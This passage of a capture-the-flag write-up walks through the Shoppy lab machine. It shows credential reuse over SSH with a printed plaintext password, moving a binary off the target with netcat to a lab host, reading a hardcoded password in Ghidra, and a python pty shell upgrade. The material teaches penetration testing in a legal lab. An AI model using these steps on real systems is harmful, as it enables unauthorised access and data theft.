&lt;p&gt;There may be a password manager written in C++.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F1lalik89021ekjkwmroc.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F1lalik89021ekjkwmroc.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Jess' cat. This could be a possible password later.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fuv8e4xd2h6ba5lic6p1j.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fuv8e4xd2h6ba5lic6p1j.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;In a private channel called "Deploy machine", Jaeger tells josh to create an account for him.&lt;/p&gt;

&lt;p&gt;I didn't see that account earlier. Maybe Josh hasn't created it yet.&lt;/p&gt;

&lt;p&gt;Jaeger might reuse passwords. Let's logout of Josh's account and see if we can become CEO.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;jaeger&lt;/code&gt;&lt;br&gt;
&lt;code&gt;Sh0ppyBest@pp!&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fyz765e8yvh0sz1ixk25f.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fyz765e8yvh0sz1ixk25f.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fxnvhyfivry7f80dqp095.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fxnvhyfivry7f80dqp095.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Neither worked.&lt;/p&gt;

&lt;p&gt;I could try to login via SSH.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fy7qf538sfc5ckwe6b7m1.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fy7qf538sfc5ckwe6b7m1.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Sweet! I knew that password had to be used somewhere else.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fulmwfr2g4h86jm1llgmx.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fulmwfr2g4h86jm1llgmx.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;There's our user.txt file.&lt;/p&gt;
&lt;h2&gt;
  
  
  Linux Privesc Enumeration
&lt;/h2&gt;

&lt;p&gt;After grabbing the user flag, I let's look in the &lt;code&gt;shoppy_start.sh&lt;/code&gt; file.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fe65z075o6vlrt9w43pzu.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fe65z075o6vlrt9w43pzu.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Running &lt;code&gt;sudo -l&lt;/code&gt; gives us: &lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F1qdtxy0iapsujqorb74o.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F1qdtxy0iapsujqorb74o.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Seems like we need to inspect that file, and the ones around it.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F93lowx9db9m2niidm3g9.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F93lowx9db9m2niidm3g9.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Other than the SUID, this directory is fairly locked down. &lt;/p&gt;

&lt;p&gt;This could be path injection. I'm not completely sure, but editing the $PATH variable might allow us to alter the execution flow of this script. I'll take a look at the permissions in this directory and see how the &lt;code&gt;.profile&lt;/code&gt; is setup for each user.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fjg0nkp13kzvtsroshs6z.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fjg0nkp13kzvtsroshs6z.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;.profile&lt;/code&gt;:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fkcvu1r5c3h5uqegs46ls.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fkcvu1r5c3h5uqegs46ls.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Since we can't read the source code, let's try running the actual binary to learn more. Because this command needs to be run as another user, we'll have to invoke the binary with the following command:&lt;br&gt;
&lt;code&gt;sudo -u deploy /home/deploy/password-manager&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fct1xym519xp3ge25qj3i.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fct1xym519xp3ge25qj3i.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;So I guess we'll need some sort of master password?&lt;/p&gt;

&lt;p&gt;Not sure if I'm expected to reverse engineer this, or if I'm supposed to try PATH injection. Since there's no way to know which commands were used to make this, path injection would be a shot in the dark. Maybe reverse engineering this file would give us some insight into how it's built, and we may even discover the master password itself.&lt;/p&gt;
&lt;h2&gt;
  
  
  Transferring files with NC
&lt;/h2&gt;

&lt;p&gt;Before we're able to reverse engineer the program, we'll need to move the file from the target machine, to ours. I've never demonstrated how to transfer a file in a situation like this, and there many ways. &lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;I'd like to mention that this method of transfer is **completely&lt;/em&gt;* unencrypted, and if your goal is to be stealthy while hacking, &lt;strong&gt;this is not a secure method for transferring files.&lt;/strong&gt; Red teaming is an entirely different skill. You have to have tact to be tactical!&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;On our local machine, we'll run the following command to receive the data on port 4490 and name the file "password-manager".&lt;/p&gt;

&lt;p&gt;&lt;code&gt;nc -nvlp 4490 &amp;gt; password-manager&lt;/code&gt; (Local machine)&lt;/p&gt;

&lt;p&gt;Your output should look like this: &lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ful0ljtjchvr10grqrcjp.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ful0ljtjchvr10grqrcjp.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;On your target machine, you'll need the following command to push the file through:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;nc -nvq 0 10.10.14.9 4490 &amp;lt; /home/deploy/password-manager&lt;/code&gt; (Remote machine)&lt;/p&gt;

&lt;p&gt;Here's what it should look like when you receive a connection:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fha8rpof8l7v763h8m5pa.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fha8rpof8l7v763h8m5pa.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;I should also note that there is no progress bar with this transfer method, but waiting for a full minute should download the full file. (Checking the size of the file on the remote machine and target should be enough.)&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;
  
  
  Reverse engineering the file
&lt;/h2&gt;

&lt;p&gt;Now that the file is on our machine, we can poke and prod at the file to figure out how it works, what it does, which libraries it uses and more relevant information. Although reverse engineering is it's own discipline, (which will be covered later) this post will only cover the basics of the skill.&lt;/p&gt;
&lt;h3&gt;
  
  
  Creating a carbon copy (optional)
&lt;/h3&gt;

&lt;p&gt;In my minimal forensics training, a cardinal rule that I've learned is to always make at least one copy of all artifacts before running tests on them. This prevents any original data from being damaged, destroyed, or otherwise modified. I created a copy with &lt;code&gt;cp password-manager password-manager2&lt;/code&gt;, and I'll solely run tests on the copied version.&lt;/p&gt;
&lt;h3&gt;
  
  
  Running the &lt;code&gt;file&lt;/code&gt; command
&lt;/h3&gt;

&lt;p&gt;Running the &lt;code&gt;file&lt;/code&gt; command on unidentified binaries can help you identify what it is, how it was created and more.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fk9y5ecobuhzr5aefade3.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fk9y5ecobuhzr5aefade3.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;It seems to be a standard x64 ELF. Sweet!&lt;/p&gt;
&lt;h2&gt;
  
  
  Strings
&lt;/h2&gt;

&lt;p&gt;The strings command lists human readable strings inside the binary. This may give us information about how it was built, strings inside and possibly other valuable information that we can use to crack the program.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fnvusirvdbwsk1tfl82yl.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fnvusirvdbwsk1tfl82yl.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Interesting... So we know that it will cat the file.&lt;/p&gt;

&lt;p&gt;Maybe if we modify the &lt;code&gt;cat&lt;/code&gt; binary, we can use path injection to take advantage of this program. &lt;/p&gt;
&lt;h1&gt;
  
  
  Ghidra
&lt;/h1&gt;

&lt;p&gt;While PATH injection could be our path, let's try reverse engineering the code itself.&lt;/p&gt;

&lt;p&gt;Ghidra gives a listing of instructions along with the strings that we saw earlier.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fsjis0x8rfegsluimjezf.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fsjis0x8rfegsluimjezf.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;You'll notice that we can simply scroll down and find the password hardcoded in the file:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fkol70r3k78n39nxwskts.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fkol70r3k78n39nxwskts.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmrt2ew414olr1rdxw99u.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmrt2ew414olr1rdxw99u.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Now, we see the "access granted" string like earlier!&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Flugllke2oqe867nkh10g.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Flugllke2oqe867nkh10g.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;We can even see the execution flow of what happens after access is granted.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ft0zj98lsr6mcj8qxcqxz.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ft0zj98lsr6mcj8qxcqxz.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;We also could have visited the function and viewed the password in the decompiler:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fdxrumfsalpxzegwzulsq.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fdxrumfsalpxzegwzulsq.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Let's go back to the copy and verify the password. &lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F237qreg9zaxwri1k1g4g.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F237qreg9zaxwri1k1g4g.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;It works! Let's do it for real this time on the target machine!&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fvdpekwwz01ftrg7ssbk1.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fvdpekwwz01ftrg7ssbk1.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;After running the command earlier, we have the password to the "deploy" account! You can log on to the account via the &lt;code&gt;su&lt;/code&gt; command, ssh into the account from the local machine, or you can exit your current shell, and log in to the &lt;code&gt;deploy&lt;/code&gt; account manually.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fktatdt1d3svd6xazuyfn.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fktatdt1d3svd6xazuyfn.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;We're in. Now that we're on the other side, we can verify how the app was made.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fqnjdaqe69nfu3cby6uao.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fqnjdaqe69nfu3cby6uao.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The source code looks very similar to the decompiled version that we saw in Ghidra. Reverse engineering can be extremely powerful. &lt;/p&gt;
&lt;h2&gt;
  
  
  Shell upgrade for deploy account
&lt;/h2&gt;

&lt;p&gt;Before we move on, we do have a slight problem. We have a dumb shell. &lt;/p&gt;

&lt;p&gt;What's a dumb shell? It's a shell that we can't we can't do much with. It's a shell that we can't use modern features like tab autocomplete, arrow keys, screen clearing, and automatic resizing. &lt;/p&gt;

&lt;p&gt;You'll know you're in a dumb shell when you see that there's a minimal prompt, and pressing arrow keys will give weird output.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F4bvp7agugndfyuu75c1z.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F4bvp7agugndfyuu75c1z.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;While there are multiple ways to upgrade your shell, if there's a python install on the machine, you can use the following command to upgrade your shell:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;python&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;import pty; pty.spawn(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/bin/bash&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;)&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Let's run the command and see what happens:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmve6d5jxnuk87hinjai3.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmve6d5jxnuk87hinjai3.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;It seems that we don't have python on the machine. Let's try searching the machine for python and related binaries:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5uipzvmabba1k6fx3ky1.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5uipzvmabba1k6fx3ky1.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;I considered creating a new shell with nc, but I decided to exit it all together and SSH into the machine. Technically, there were still ways to upgrade the shell, but I decided to make it easier on myself and SSH into the machine to have a copacetic experience. &lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;If you're ever on a red team assessment, this technique may not work! Sometimes you don't have the password for every user you log into, and in enterprise environments, SSH login events are recorded and logged.&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fdne4znbnrrfq01kjomre.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fdne4znbnrrfq01kjomre.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;I thought logging into the account directly would give me a proper shell, but eventually I decided to just run &lt;code&gt;bash&lt;/code&gt; for the upgrade. &lt;/p&gt;

&lt;h2&gt;
  
  
  Deploy Enumeration
&lt;/h2&gt;

&lt;p&gt;Every time we log into a new account, we always need to enumerate.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ftql2p8rmw7boyq48hhin.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ftql2p8rmw7boyq48hhin.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;No SUID binaries or crontab for this user. &lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fqm71vfzrtg3m6du23a6n.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fqm71vfzrtg3m6du23a6n.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;While there are Linux privesc tools, I wanted to manually explore a bit before running them.&lt;/p&gt;

&lt;p&gt;I found out two things: &lt;/p&gt;

&lt;p&gt;1) This is the account that controls Mattermost&lt;br&gt;
2) Containerd is on this machine.&lt;/p&gt;

&lt;p&gt;Since Docker was mentioned earlier, I tried to see if anything was running. &lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5310zx08uxi6oiy76i0h.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5310zx08uxi6oiy76i0h.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Nothing was running.&lt;/p&gt;
&lt;h2&gt;
  
  
  Linpeas
&lt;/h2&gt;

